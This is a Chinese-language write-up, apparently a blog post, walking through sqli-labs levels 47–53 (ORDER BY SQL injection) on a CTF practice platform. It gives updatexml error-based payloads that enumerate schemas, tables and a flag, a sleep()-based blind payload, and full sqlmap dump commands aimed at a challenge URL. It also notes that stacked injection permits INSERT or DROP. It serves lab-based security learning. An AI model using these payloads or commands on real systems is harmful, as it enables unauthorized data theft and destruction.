提示文章写完后目录可以自动生成如何生成可参考右边的帮助文档文章目录sqli-labs第47关 — 报错注入sqli-labs第48关 — 盲注(数字型闭合)sqli-labs第49关 — 盲注字符型闭合sqli-labs第50-53关 — 盲注堆叠注入型Sqli-Labs (46-53) 关卡特性对比表总结sqli-labs第47关 — 报错注入默认页面这里我们对比上一关唯一的不同就是闭合方式不同变成了闭合直接上payload加个和闭合即可# 查看数据库 ctfshow?sort1 and updatexml(1,concat(0x7e,mid((select group_concat(schema_name) from information_schema.schemata),61,30),0x7e),3) -- fd # 查表 flags ?sort1and updatexml(1,concat(0x7e,(select group_concat(table_name)from information_schema.tables wheretable_schemactfshow),0x7e),3)-- fd# 查列 flag4s?sort1 and updatexml(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_nameflags),0x7e),3) -- fd # 查字段 ctfshow{b28e194e-099a-4b14-893a-8bb230743340} ?sort1and updatexml(1,concat(0x7e,mid((select group_concat(flag4s)from ctfshow.flags),1,30),0x7e),3)-- fd ?sort1 and updatexml(1,concat(0x7e,mid((select group_concat(flag4s)from ctfshow.flags),31,30),0x7e),3)-- fd得到结果sqli-labs第48关 — 盲注(数字型闭合)与46关进行对比我们很容易可以发现既然不能使用报错注入那就只能用脚本爆破了盲注的基本原理可以看sqli-labs全过关解析含详细payload5-10 附带源码分析解决方法这里我推荐使用sqlmap来得到payload当然也可以自己构造脚本来爆破# sqlmap命令python sqlmap.py-uhttps://045c29d8-5dcc-4450-9683-99b777306440.challenge.ctf.show/?sort1-psort--batch-Dctfshow-Tflags-Cflag4s--dumpsqli-labs第49关 — 盲注字符型闭合四十九关和四十七关一样不过没有报错显示所以使用延时注入唯一的区别就是闭合不一样使用单引号闭合还是建议使用sqlmap# sqlmap命令python sqlmap.py-uhttps://045c29d8-5dcc-4450-9683-99b777306440.challenge.ctf.show/?sort1-psort--batch-Dctfshow-Tflags-Cflag4s--dumpsqli-labs第50-53关 — 盲注堆叠注入型?sort1 and If(ascii(substr(database(),1,1))116,sleep(3),0)--Sqli-Labs (46-53) 关卡特性对比表关卡闭合方式报错回显驱动类型核心技术点Less-46数字型有mysql基础报错注入 /rand()盲注Less-47单引号有mysql单引号闭合 报错注入Less-48数字型无mysql布尔/时间盲注Less-49单引号无mysql单引号闭合 时间盲注Less-50数字型有mysqli堆叠注入 (Stacked Injection)Less-51单引号有mysqli闭合 堆叠注入Less-52数字型无mysqli堆叠注入 盲注 (无回显)Less-53单引号无mysqli最难闭合 堆叠 盲注mysql驱动46-49只能执行单条 SQL因此上限是报错注入或盲注。mysqli驱动配合multi_query函数50-53允许执行堆叠注入可以直接对数据库进行增删改如INSERT或DROP操作。数字型注入点直接在ORDER BY后构造逻辑。单引号型必须先使用闭合否则后续的语句会被数据库当作字符串常量处理导致注入逻辑失效。有回显时优先使用updatexml()或extractvalue()进行报错注入效率最高。无回显时只能通过if(..., sleep(5), 1)这种时间盲注或观察排序变化进行布尔盲注。总结期待下次再见